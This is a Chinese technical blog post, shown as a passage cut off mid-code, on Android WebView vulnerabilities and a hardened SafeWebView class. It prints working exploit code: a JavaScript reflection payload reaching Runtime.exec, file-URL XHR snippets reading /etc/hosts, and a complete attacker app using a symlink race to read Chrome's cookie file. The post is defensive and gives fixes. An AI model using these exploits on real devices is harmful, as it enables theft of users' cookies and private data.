android WebView详解,常见漏洞详解和安全源码(下)

WebView 常见漏洞
  WebView 的漏洞也是不少,列举一些常见的漏洞,实时更新,如果有其他的常见漏洞,知会一下我~~
WebView 任意代码执行漏洞
  已知的 WebView 任意代码执行漏洞有 4 个,较早被公布是 CVE-2012-6636,揭露了 WebView 中 addJavascriptInterface 接口会引起远程代码执行漏洞。接着是 CVE-2013-4710,针对某些特定机型会存在 addJavascriptInterface API 引起的远程代码执行漏洞。之后是 CVE-2014-1939 爆出 WebView 中内置导出的 “searchBoxJavaBridge_” Java Object 可能被利用,实现远程任意代码。再后来是 CVE-2014-7224,类似于 CVE-2014-1939 ,WebView 内置导出 “accessibility” 和 “accessibilityTraversal” 两个 Java Object 接口,可被利用实现远程任意代码执行。
   一般情况下,WebView 使用 JavaScript 脚本的代码如下所示:
WebView mWebView = (WebView)findViewById(R.id.webView);
WebSettings msetting = mWebView.getSettings();
msetting.setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new TestJsInterface(), “testjs”);
mWebView.loadUrl(url);
  Android 系统为了方便 APP 中 Java 代码和网页中的 Javascript 脚本交互,在 WebView 控件中实现了 addJavascriptInterface 接口,如上面的代码所示,我们来看一下这个方法的官方描述:
  可以看到,在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,使用这个方法是不安全的,网页中的JS脚本可以利用接口 “testjs” 调用 App 中的 Java 代码,而 Java 对象继承关系会导致很多 Public 的函数及 getClass 函数都可以在JS中被访问,结合 Java 的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行,首先第一步 WebView 添加 Javascript 对象,并且添加一些权限,比如想要获取 SD 卡上面的信息就需要 android.permission.WRITE_EXTERNAL_STORAGE ;第二步 JS 中可以遍历 window 对象,找到存在 getClass 方法的对象,再通过反射的机制,得到 Runtime 对象,然后就可以调用静态方法来执行一些命令,比如访问文件的命令;第三步就是从执行命令后返回的输入流中得到字符串,比如执行完访问文件的命令之后,就可以得到文件名的信息了,有很严重暴露隐私的危险,核心 JS 代码:
function execute(cmdArgs)  
{  
    for (var obj in window) {  
        if ("getClass" in window[obj]) {  
            alert(obj);  
            return  window[obj].getClass().forName("java.lang.Runtime")  
                 .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);  
        }  
    }  
}   
所以当一些 APP 通过扫描二维码打开一个外部网页的时候,就可以执行这段 js 代码,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中浏览器 APP 成为重灾区,但截至目前仍有很多 APP 中依然存在此漏洞,与以往不同的只是攻击入口发生了一定的变化。另外一些小厂商的 APP 开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用 addJavascriptInterface 接口,明目张胆踩雷。
  出于安全考虑,Google 在 API17 版本中就规定能够被调用的函数必须以 @JavascriptInterface 进行注解,理论上如果 APP 依赖的 API 为 17(Android 4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17 依然受影响,所以危害性到目前为止依旧不小。关于所有 Android 机型的占比,可以看看 Google 的 Dashboards:
这里写图片描述 
截止 2017/1/9 日,可以看到 android5.0 之下的手机依旧不少,需要重视。
  漏洞的解决
  但是这个漏洞也是有解决方案的,上面的很多地方也都提到了这个漏洞,那么这个漏洞怎么去解决呢?这就需要用到 onJsPrompt 这个方法了,这里先给出解决这个漏洞的具体步骤,在下面的源码部分有修复这个漏洞的详细代码:
继承 WebView ,重写 addJavascriptInterface 方法,然后在内部自己维护一个对象映射关系的 Map,当调用 addJavascriptInterface 方法,将需要添加的 JS 接口放入这个 Map 中;
每次当 WebView 加载页面的时候加载一段本地的 JS 代码:
javascript:(function JsAddJavascriptInterface_(){
    if(typeof(window.XXX_js_interface_name)!='undefined'){
            console.log('window.XXX_js_interface_name is exist!!');
        }else{
           window.XXX_js_interface_name={
                   XXX:function(arg0,arg1){
                     return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
                 },
            };
        }
    })()
这段 JS 代码定义了注入的格式,其中的 XXX 为注入对象的方法名字,终端和 web 端只要按照定义的格式去互相调用即可,如果这个对象有多个方法,则会注册多个 window.XXX_js_interface_name 块;
然后在 prompt 中返回我们约定的字符串,当然这个字符串也可以自己重新定义,它包含了特定的标识符 MyApp,后面包含了一串 JSON 字符串,它包含了方法名,参数,对象名等;
当 JS 调用 XXX 方法的时候,就会调用到终端 Native 层的 OnJsPrompt 方法中,我们再解析出方法名,参数,对象名等,解析出来之后进行相应的处理,同时返回值也可以通过 prompt 返回回去;
window.XXX_js_interface_name 代表在 window 上声明了一个对象,声明的方式是:方法名:function(参数1,参数2)。
还有一个问题是什么时候加载这段 JS 呢,在 WebView 正常加载 URL 的时候去加载它,但是会发现当 WebView 跳转到下一个页面时,之前加载的 JS 可能就已经无效了,需要再次加载,所以通常需要在一下几个方法中加载 JS,这几个方法分别是 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged。   通过这几步,就可以简单的修复漏洞问题,但是还需要注意几个问题,需要过滤掉 Object 类的方法,由于通过反射的形式来得到指定对象的方法,所以基类的方法也可以得到,最顶层的基类就是 Object,为了不把 getClass 等方法注入到 JS 中,我们需要把 Object 的共有方法过滤掉,需要过滤的方法列表如下:“getClass”,“hashCode”,“notify”,“notifyAll”,“equals”,“toString”,“wait”,具体的代码实现可以看看下面的源码。
  在 2014 年发现在 Android4.4 以下的系统中,webkit 中默认内置了 “searchBoxJavaBridge_”,代码位于 “java/android/webkit/BrowserFrame.java”,该接口同样存在远程代码执行的威胁,所以就算没有通过 addJavascriptInterface 加入任何的对象,系统也会加入一个 searchBoxJavaBridge_ 对象,解决办法就是通过 removeJavascriptInterface 方法将对象删除。
  在 2014 年,研究人员 Daoyuan Wu 和 Rocky Chang 发现,当系统辅助功能服务被开启时,在 Android4.4 以下的系统中,由系统提供的 WebView 组件都默认导出 ”accessibility” 和 ”accessibilityTraversal” 这两个接口,代码位于 “android/webkit/AccessibilityInjector.java”,这两个接口同样存在远程任意代码执行的威胁,同样的需要通过 removeJavascriptInterface 方法将这两个对象删除。
WebView 密码明文存储漏洞
  WebView 默认开启密码保存功能 mWebView.setSavePassword(true),如果该功能未关闭,在用户输入密码时,会弹出提示框,询问用户是否保存密码,如果选择”是”,密码会被明文保到 /data/data/com.package.name/databases/webview.db 中,这样就有被盗取密码的危险,所以需要通过 WebSettings.setSavePassword(false) 关闭密码保存提醒功能。
WebView 域控制不严格漏洞
  要了解 WebView 中 file 协议的安全性,我们这里用一个简单的例子来演示一下,这个 APP 中有一个页面叫做 WebViewActivity :
public class WebViewActivity extends Activity {
    private WebView webView;
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_webview);
        webView = (WebView) findViewById(R.id.webView);
        //webView.getSettings().setJavaScriptEnabled(true);                   (0)
        //webView.getSettings().setAllowFileAccess(false);                    (1)
        //webView.getSettings().setAllowFileAccessFromFileURLs(true);         (2)
        //webView.getSettings().setAllowUniversalAccessFromFileURLs(true);    (3)
        Intent i = getIntent();
        String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html 
        webView.loadUrl(url);
    }
 }


将该 WebViewActivity 设置为 exported=”true”,当其他应用启动此 Activity 时, intent 中的 data 直接被当作 url 来加载(假定传进来的 url 为 file:///data/local/tmp/attack.html ),通过其他 APP 使用显式 ComponentName 或者其他类似方式就可以很轻松的启动该 WebViewActivity ,我们知道因为 Android 中的 sandbox,Android 中的各应用是相互隔离的,在一般情况下 A 应用是不能访问 B 应用的文件的,但不正确的使用 WebView 可能会打破这种隔离,从而带来应用数据泄露的威胁,即 A 应用可以通过 B 应用导出的 Activity 让 B 应用加载一个恶意的 file 协议的 url,从而可以获取 B 应用的内部私有文件,下面我们着重分析这几个 API 对 WebView 安全性的影响。
setAllowFileAccess
Enables or disables file access within WebView. File access is enabled by default. Note that this 
enables or disables file system access only. Assets and resources are still accessible using 
file:///android_asset and file:///android_res.
  通过这个 API 可以设置是否允许 WebView 使用 File 协议,Android 中默认 setAllowFileAccess(true),所以默认值是允许,在 File 域下,能够执行任意的 JavaScript 代码, 同源策略跨域访问则能够对私有目录文件进行访问,APP 嵌入的 WebView 未对 file:/// 形式的 URL 做限制,所以使用 file 域加载的 js 能够使用同源策略跨域访问导致隐私信息泄露,针对 IM 类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是 cookie 信息泄露。如果不允许使用 file 协议,则不会存在下面将要讲到的各种跨源的安全威胁,但同时也限制了 WebView 的功能,使其不能加载本地的 html 文件。禁用 file 协议后,让 WebViewActivity 打开 attack.html 会得到如下图所示的输出,图中所示的文件是存在的,但 WebView 禁止加载此文件,移动版的 Chrome 默认禁止加载 file 协议的文件。
这里写图片描述
那么怎么解决呢,不要着急,继续往下看。
setAllowFileAccessFromFileURLs
  通过此API可以设置是否允许通过 file url 加载的 Javascript 读取其他的本地文件,这个设置在 JELLY_BEAN(android 4.1) 以前的版本默认是允许,在 JELLY_BEAN 及以后的版本中默认是禁止的。当 AllowFileAccessFromFileURLs 设置为 true 时,对应上面的 attack.html 代码为:
<script>
function loadXMLDoc()
{
    var arm = "file:///etc/hosts";
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    xmlhttp.onreadystatechange=function()
    {
        //alert("status is"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
              console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET",arm);
    xmlhttp.send(null);
}
loadXMLDoc();
</script>
,此时通过这段代码就可以成功读取 /etc/hosts 的内容,最显著的例子就是 360 手机浏览器的早期 4.8 版本,由于未对 file 域做安全限制,恶意 APP 调用 360 浏览器加载本地的攻击页面(比如恶意 APP 释放到 sd 卡上的一个 html)后,就可以获取 360 手机浏览器下的所有私有数据,包括 webviewCookiesChromium.db 下的 Cookie 内容,但是如果设置为 false 时,上述脚本执行会导致如下错误,表示浏览器禁止从 file url 中的 javascript 读取其它本地文件:
I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin 
requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html 
setAllowUniversalAccessFromFileURLs
  通过此 API 可以设置是否允许通过 file url 加载的 Javascript 可以访问其他的源,包括其他的文件和 http,https 等其他的源。这个设置在 JELLY_BEAN 以前的版本默认是允许,在 JELLY_BEAN 及以后的版本中默认是禁止的。如果此设置是允许,则 setAllowFileAccessFromFileURLs 不起做用,此时修改 attack.html 的代码:
<script>
function loadXMLDoc()
{
    var arm = "http://www.so.com";
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    xmlhttp.onreadystatechange=function()
    {
        //alert("status is"+xmlhttp.status);
        if (xmlhttp.readyState==4)
        {
             console.log(xmlhttp.responseText);
        }
    }
    xmlhttp.open("GET",arm);
    xmlhttp.send(null);
}
loadXMLDoc();
</script>
当 AllowFileAccessFromFileURLs 为 true 时,上述 javascript 可以成功读取 http://www.so.com 的内容,但设置为 false 时,上述脚本执行会导致如下错误,表示浏览器禁止从 file url 中的 javascript 访问其他源的资源:
I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
load http://www.so.com/. Origin null is not allowed by
Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html
以上漏洞的初步解决方案
  通过以上的介绍,初步的方案是使用下面的代码来杜绝:
setAllowFileAccess(true);                               //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
这样就可以让 html 页面加载本地的 javascript,同时杜绝加载的 js 访问本地的文件或者读取其他的源,不是就 OK 了么,而且在 JELLY_BEAN(android 4.1) 版本以及之后不是都默认为 false 了么,其实不然,我们继续往下看其他漏洞。
使用符号链接跨源
  为了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都应该设置为禁止,在 JELLY_BEAN(android 4.1) 及以后的版本中这两项设置默认也是禁止的,但是即使把这两项都设置为 false,通过 file URL 加载的 javascript 仍然有方法访问其他的本地文件,通过符号链接攻击可以达到这一目的,前提是允许 file URL 执行 javascript。这一攻击能奏效的原因是无论怎么限制 file 协议的同源检查,其 javascript 都应该能访问当前的文件,通过 javascript 的延时执行和将当前文件替换成指向其它文件的软链接就可以读取到被符号链接所指的文件,具体攻击步骤见 Chromium bug 144866,下面也贴出了代码和详解。因为 Chrome 最新版本默认禁用 file 协议,所以这一漏洞在最新版的 Chrome 中并不存在,Google 也并没有修复它,但是大量使用 WebView 的应用和浏览器,都有可能受到此漏洞的影响,通过利用此漏洞,无特殊权限的恶意 APP 可以盗取浏览器的任意私有文件,包括但不限于 Cookie、保存的密码、收藏夹和历史记录,并可以将所盗取的文件上传到攻击者的服务器。下图为通过 file URL 读取某手机浏览器 Cookie 的截图:
这里写图片描述
截图将 Cookie alert 出来了,实际情况可以上传到服务器,攻击的详细代码如下所示:
public class MainActivity extends AppCompatActivity {
    public final static String MY_PKG = "com.example.safewebview";
    public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
    public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
    public final static String TARGET_PKG = "com.android.chrome";
    public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
    public final static String HTML =
            "<body>" +
                    "<u>Wait a few seconds.</u>" +
                    "<script>" +
                    "var d = document;" +
                    "function doitjs() {" +
                    "  var xhr = new XMLHttpRequest;" +
                    "  xhr.onload = function() {" +
                    "    var txt = xhr.responseText;" +
                    "    d.body.appendChild(d.createTextNode(txt));" +
                    "    alert(txt);" +
                    "  };" +
                    "  xhr.open('GET', d.URL);" +
                    "  xhr.send(null);" +
                    "}" +
                    "setTimeout(doitjs, 8000);" +
                    "</script>" +
                    "</body>";


    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        doit();
    }


    public void doit() {
        try {
            // Create a malicious HTML
            cmdexec("mkdir " + MY_TMP_DIR);
            cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
            cmdexec("chmod -R 777 " + MY_TMP_DIR);


            Thread.sleep(1000);


            // Force Chrome to load the malicious HTML
            invokeChrome("file://" + HTML_PATH);


            Thread.sleep(4000);


            // Replace the HTML with a symlink to Chrome's Cookie file
            cmdexec("rm " + HTML_PATH);
            cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
        } catch (Exception e) {
        }
    }


    public void invokeChrome(String url) {
        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
        intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
        startActivity(intent);
    }


    public void cmdexec(String cmd) {
        try {
            String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
            Runtime.getRuntime().exec(tmp);
        } catch (Exception e) {
        }
    }
}
这就是使用符号链接跨源获取私有文件的代码,应该不难读懂,首先把恶意的 js 代码输出到攻击应用的目录下,随机命名为 xx.html,并且修改该目录的权限,修改完成之后休眠 1s,让文件操作完成,完成之后通过系统的 Chrome 应用去打开这个 xx.html 文件,然后等待 4s 让 Chrome 加载完成该 html,最后将该 html 删除,并且使用 ln -s 命令为 Chrome 的 Cookie 文件创建软连接,注意,在这条命令执行之前 xx.html 是不存在的,执行完这条命令之后,就生成了这个文件,并且将 Cookie 文件链接到了 xx.html 上,于是就可以通过链接来访问 Chrome 的 Cookie 了。
setJavaScriptEnabled
  通过此 API 可以设置是否允许 WebView 使用 JavaScript,默认是不允许,但很多应用,包括移动浏览器为了让 WebView 执行 http 协议中的 JavaScript,都会主动设置允许 WebView 执行 JavaScript,而又不会对不同的协议区别对待,比较安全的实现是如果加载的 url 是 http 或 https 协议,则启用 JavaScript,如果是其它危险协议,比如是 file 协议,则禁用 JavaScript。如果是 file 协议,禁用 javascript 可以很大程度上减小跨源漏洞对 WebView 的威胁,但是此时禁用 JavaScript 的执行并不能完全杜绝跨源文件泄露。例如,有的应用实现了下载功能,对于加载不了的页面,会自动下载到 sd 卡中,由于 sd 卡中的文件所有应用都可以访问,于是可以通过构造一个 file URL 指向被攻击应用的私有文件,然后用此 URL 启动被攻击应用的 WebActivity,这样由于该 WebActivity 无法加载该文件,就会将该文件下载到 sd 卡下面,然后就可以从 sd 卡上读取这个文件了,当然这种应用比较少,这个也算是应用自身无意产生的一个漏洞吧。
以上漏洞的解决方案
  针对 WebView 域控制不严格漏洞的安全建议如下:
对于不需要使用 file 协议的应用,禁用 file 协议;
对于需要使用 file 协议的应用,禁止 file 协议加载 JavaScript。
  所以两种解决办法,第一种类似 Chrome,直接禁止 file 协议:
setAllowFileAccess(false);                              //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
第二种是根据不同情况不同处理(无法避免应用对于无法加载的页面下载到 sd 卡上这个漏洞):
setAllowFileAccess(true);                             //设置为 false 将不能加载本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
if (url.startsWith("file://") {
    setJavaScriptEnabled(false);
} else {
    setJavaScriptEnabled(true);
}
开发中遇见的坑
  这里记录一下开发中遇到的一些坑和解决办法:
loadData() 方法
  我们可以通过使用 WebView.loadData(String data, String mimeType, String encoding) 方法来加载一整个 HTML 页面的一小段内容,第一个就是我们需要 WebView 展示的内容,第二个是我们告诉 WebView 我们展示内容的类型,一般,第三个是字节码,但是使用的时候,这里会有一些坑,我们来看一个简单的例子:
String html = new String("<h3>我是loadData() 的标题</h3><p>&nbsp&nbsp我是他的内容</p>");
webView.loadData(html, "text/html", "UTF-8");
这里的逻辑很简单,加载一个简单的富文本标签,我们看看运行后的效果:
这里写图片描述
可以注意到这里显示成乱码了,可是明明已经指定了编码格式为 UTF-8 啊,可是这就是使用的坑,我们需要将代码进行修改:
String html = new String("<h3>我是loadData() 的标题</h3><p>&nbsp&nbsp我是他的内容</p>");
webView.loadData(html, "text/html;charset=UTF-8", "null");
我们再来看看显示效果:
这里写图片描述
这样我们就可以看到正确的内容了,Google 还指出,在我们这种加载的方法下,我们的 Data 数据里不能出现 ’#’, ‘%’, ‘\’ , ‘?’ 这四个字符,如果出现了我们要用 %23, %25, %27, %3f 对应来替代,网上列举了未将特定字符转义过程中遇到的异常现象:


A)   %  会报找不到页面错误,页面全是乱码。
B)   #  会让你的 goBack 失效,但 canGoBAck 是可以使用的,于是就会产生返回按钮生效,但不能返回的情况。
C)   \ 和 ?  在转换时,会报错,因为它会把 \ 当作转义符来使用,如果用两级转义,也不生效。
我们在使用 loadData() 时,就意味着需要把所有的非法字符全部转换掉,这样就会给运行速度带来很大的影响,因为在使用时,很多情况下页面 stytle 中会使用很多 ‘%’ 号,页面的数据越多,运行的速度就会越慢。
页面空白
  当 WebView 嵌套在 ScrollView 里面的时候,如果 WebView 先加载了一个高度很高的网页,然后加载了一个高度很低的网页,就会造成 WebView 的高度无法自适应,底部出现大量空白的情况出现,具体的可以看看我以前的博客:android ScollView 嵌套 WebView 底部空白,高度无法自适应解决。
内存泄漏
  WebView 的内存泄漏是一个比较大的问题,尤其是当加载的页面比较庞大的时候,解决方法网上也比较多,但是看情况大部分都不是能彻底根治的,这里说一下 QQ 和微信的做法,每当打开一个 WebView 界面的时候,会开启一个新进程,在页面退出之后通过 System.exit(0) 关闭这个进程,这样就不会存在内存泄漏的问题了,具体的做法可以查看这篇博客:Android WebView Memory Leak WebView内存泄漏,里面也提供了另外一种解决办法,感兴趣的可以去看一下。
setBuiltInZoomControls 引起的 Crash
  当使用 mWebView.getSettings().setBuiltInZoomControls(true) 启用该设置后,用户一旦触摸屏幕,就会出现缩放控制图标。这个图标过上几秒会自动消失,但在 3.0 之上 4.4 系统之下很多手机会出现这种情况:如果图标自动消失前退出当前 Activity 的话,就会发生 ZoomButton 找不到依附的 Window 而造成程序崩溃,解决办法很简单就是在 Activity 的 onDestory 方法中调用 mWebView.setVisibility(View.GONE); 方法,手动将其隐藏,就不会崩溃了。
后台无法释放 JS 导致耗电
  如果 WebView 加载的的 html 里有一些 JS 一直在执行比如动画之类的东西,如果此刻 WebView 挂在了后台,这些资源是不会被释放,用户也无法感知,导致一直占有 CPU 增加耗电量,如果遇到这种情况,在 onStop 和 onResume 里分别把 setJavaScriptEnabled() 给设置成 false 和 true 即可。
源码及解析
  来看看解决上述问题的 WebView 源码:
public class SafeWebView extends WebView {
    private static final boolean DEBUG = true;
    private static final String VAR_ARG_PREFIX = "arg";
    private static final String MSG_PROMPT_HEADER = "MyApp:";
    /**
     * 对象名
     */
    private static final String KEY_INTERFACE_NAME = "obj";
    /**
     * 函数名
     */
    private static final String KEY_FUNCTION_NAME = "func";
    /**
     * 参数数组
     */
    private static final String KEY_ARG_ARRAY = "args";
    /**
     * 要过滤的方法数组
     */
    private static final String[] mFilterMethods = {
            "getClass",
            "hashCode",
            "notify",
            "notifyAll",
            "equals",
            "toString",
            "wait",
    };


    /**
     * 缓存addJavascriptInterface的注册对象
     */
    private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();


    /**
     * 缓存注入到JavaScript Context的js脚本
     */
    private String mJsStringCache = null;


    public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
        super(context, attrs, defStyle);
        init();
    }


    public SafeWebView(Context context, AttributeSet attrs) {
        super(context, attrs);
        init();
    }


    public SafeWebView(Context context) {
        super(context);
        init();
    }


    /**
     * WebView 初始化,设置监听,删除部分Android默认注册的JS接口
     */
    private void init() {
        setWebChromeClient(new WebChromeClientEx());
        setWebViewClient(new WebViewClientEx());
        safeSetting();


        removeUnSafeJavascriptImpl();
    }


    /**
     * 安全性设置
     */
    private void safeSetting() {
        getSettings().setSavePassword(false);
        getSettings().setAllowFileAccess(false);//设置为 false 将不能加载本地 html 文件
        if (Build.VERSION.SDK_INT >= 16) {
            getSettings().setAllowFileAccessFromFileURLs(false);
            getSettings().setAllowUniversalAccessFromFileURLs(false);
        }
    }


    /**
     * 检查SDK版本是否 >= 3.0 (API 11)
     */
    private boolean hasHoneycomb() {
        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
    }


    /**
     * 检查SDK版本是否 >= 4.2 (API 17)
     */
    private boolean hasJellyBeanMR1() {
        return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
    }


    /**
     * 3.0 ~ 4.2 之间的版本需要移除 Google 注入的几个对象
     */
    @SuppressLint("NewApi")
    private boolean removeUnSafeJavascriptImpl() {
        if (hasHoneycomb() && !hasJellyBeanMR1()) {
            super.removeJavascriptInterface("searchBoxJavaBridge_");
            super.removeJavascriptInterface("accessibility");
            super.removeJavascriptInterface("accessibilityTraversal");
            return true;
        }
        return false;
    }


    @Override
    public void setWebViewClient(WebViewClient client) {
        if (hasJellyBeanMR1()) {
            super.setWebViewClient(client);
        } else {
            if (client instanceof WebViewClientEx) {
                super.setWebViewClient(client);
            } else if (client == null) {
                super.setWebViewClient(client);
            } else {
                throw new IllegalArgumentException(
                        "the \'client\' must be a subclass of the \'WebViewClientEx\'");
            }
        }
    }


    @Override
    public void setWebChromeClient(WebChromeClient client) {
        if (hasJellyBeanMR1()) {
            super.setWebChromeClient(client);
        } else {
            if (client instanceof WebChromeClientEx) {
                super.setWebChromeClient(client);
            } else if (client == null) {
                super.setWebChromeClient(client);
            } else {
                throw new IllegalArgumentException(
                        "the \'client\' must be a subclass of the \'WebChromeClientEx\'");
            }
        }
    }


    /**
     * 如果版本大于 4.2,漏洞已经被解决,直接调用基类的 addJavascriptInterface
     * 如果版本小于 4.2,则使用map缓存待注入对象
     */
    @SuppressLint("JavascriptInterface")
    @Override
    public void addJavascriptInterface(Object obj, String interfaceName) {
        if (TextUtils.isEmpty(interfaceName)) {
            return;
        }


        // 如果在4.2以上,直接调用基类的方法来注册
        if (hasJellyBeanMR1()) {
            super.addJavascriptInterface(obj, interfaceName);
        } else {
            mJsInterfaceMap.put(interfaceName, obj);
        }
    }


    /**
     * 删除待注入对象,
     * 如果版本为 4.2 以及 4.2 以上,则使用父类的removeJavascriptInterface。
     * 如果版本小于 4.2,则从缓存 map 中删除注入对象
     */
    @SuppressLint("NewApi")
    public void removeJavascriptInterface(String interfaceName) {
        if (hasJellyBeanMR1()) {
            super.removeJavascriptInterface(interfaceName);
        } else {
            mJsInterfaceMap.remove(interfaceName);
            //每次 remove 之后,都需要重新构造 JS 注入
            mJsStringCache = null;
            injectJavascriptInterfaces();
        }
    }


    /**
     * 如果 WebView 是 SafeWebView 类型,则向 JavaScript Context 注入对象,确保 WebView 是有安全机制的
     */
    private void injectJavascriptInterfaces(WebView webView) {
        if (webView instanceof SafeWebView) {
            injectJavascriptInterfaces();
        }
    }


    /**
     * 注入我们构造的 JS
     */
    private void injectJavascriptInterfaces() {
        if (!TextUtils.isEmpty(mJsStringCache)) {
            loadUrl(mJsStringCache);
            return;
        }


        mJsStringCache = genJavascriptInterfacesString();
        loadUrl(mJsStringCache);
    }


    /**
     * 根据缓存的待注入java对象,生成映射的JavaScript代码,也就是桥梁(SDK4.2之前通过反射生成)
     */
    private String genJavascriptInterfacesString() {
        if (mJsInterfaceMap.size() == 0) {
            return null;
        }


        /*
         * 要注入的JS的格式,其中XXX为注入的对象的方法名,例如注入的对象中有一个方法A,那么这个XXX就是A
         * 如果这个对象中有多个方法,则会注册多个window.XXX_js_interface_name块,我们是用反射的方法遍历
         * 注入对象中的带有@JavaScripterInterface标注的方法
         *
         * javascript:(function JsAddJavascriptInterface_(){
         *   if(typeof(window.XXX_js_interface_name)!='undefined'){
         *       console.log('window.XXX_js_interface_name is exist!!');
         *   }else{
         *       window.XXX_js_interface_name={
         *           XXX:function(arg0,arg1){
         *               return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
         *           },
         *       };
         *   }
         * })()
         */


        Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
        //HEAD
        StringBuilder script = new StringBuilder();
        script.append("javascript:(function JsAddJavascriptInterface_(){");


        // 遍历待注入java对象,生成相应的js对象
        try {
            while (iterator.hasNext()) {
                Map.Entry<String, Object> entry = iterator.next();
                String interfaceName = entry.getKey();
                Object obj = entry.getValue();
                // 生成相应的js方法
                createJsMethod(interfaceName, obj, script);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }


        // End
        script.append("})()");
        return script.toString();
    }


    /**
     * 根据待注入的java对象,生成js方法
     *
     * @param interfaceName 对象名
     * @param obj           待注入的java对象
     * @param script        js代码
     */
    private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
        if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
            return;
        }


        Class<? extends Object> objClass = obj.getClass();


        script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
        if (DEBUG) {
            script.append("    console.log('window." + interfaceName + "_js_interface_name is exist!!');");
        }


        script.append("}else {");
        script.append("    window.").append(interfaceName).append("={");


        // 通过反射机制,添加java对象的方法
        Method[] methods = objClass.getMethods();
        for (Method method : methods) {
            String methodName = method.getName();
            // 过滤掉Object类的方法,包括getClass()方法,因为在Js中就是通过getClass()方法来得到Runtime实例
            if (filterMethods(methodName)) {
                continue;
            }


            script.append("        ").append(methodName).append(":function(");
            // 添加方法的参数
            int argCount = method.getParameterTypes().length;
            if (argCount > 0) {
                int maxCount = argCount - 1;
                for (int i = 0; i < maxCount; ++i) {
                    script.append(VAR_ARG_PREFIX).append(i).append(",");
                }
                script.append(VAR_ARG_PREFIX).append(argCount - 1);
            }


            script.append(") {");


            // Add implementation
            if (method.getReturnType() != void.class) {
                script.append("            return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
            } else {
                script.append("            prompt('").append(MSG_PROMPT_HEADER).append("'+");
            }


            // Begin JSON
            script.append("JSON.stringify({");
            script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
            script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
            script.append(KEY_ARG_ARRAY).append(":[");
            //  添加参数到JSON串中
            if (argCount > 0) {
                int max = argCount - 1;
                for (int i = 0; i < max; i++) {
                    script.append(VAR_ARG_PREFIX).append(i).append(",");
                }
                script.append(VAR_ARG_PREFIX).append(max);
            }


            // End JSON
            script.append("]})");
            // End prompt
            script.append(");");
            // End function
            script.append("        }, ");
        }


        // End of obj
        script.append("    };");
        // End of if or else
        script.append("}");
    }


    /**
     * 检查是否是被过滤的方法
     */
    private boolean filterMethods(String methodName) {
        for (String method : mFilterMethods) {
            if (method.equals(methodName)) {
                return true;
            }
        }
        return false;
    }


    /**
     * 利用反射,调用java对象的方法。
     * <p>
     * 从缓存中取出key=interfaceName的java对象,并调用其methodName方法
     *
     * @param result
     * @param interfaceName 对象名
     * @param methodName    方法名
     * @param args          参数列表
     * @return
     */
    private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {


        boolean succeed = false;
        final Object obj = mJsInterfaceMap.get(interfaceName);
        if (null == obj) {
            result.cancel();
            return false;
        }


        Class<?>[] parameterTypes = null;
        int count = 0;
        if (args != null) {
            count = args.length;
        }


        if (count > 0) {
            parameterTypes = new Class[count];
            for (int i = 0; i < count; ++i) {
                parameterTypes[i] = getClassFromJsonObject(args[i]);
            }
        }


        try {
            Method method = obj.getClass().getMethod(methodName, parameterTypes);
            Object returnObj = method.invoke(obj, args); // 执行接口调用
            boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
            String returnValue = isVoid ? "" : returnObj.toString();
            result.confirm(returnValue); // 通过prompt返回调用结果
            succeed = true;
        } catch (NoSuchMethodException e) {
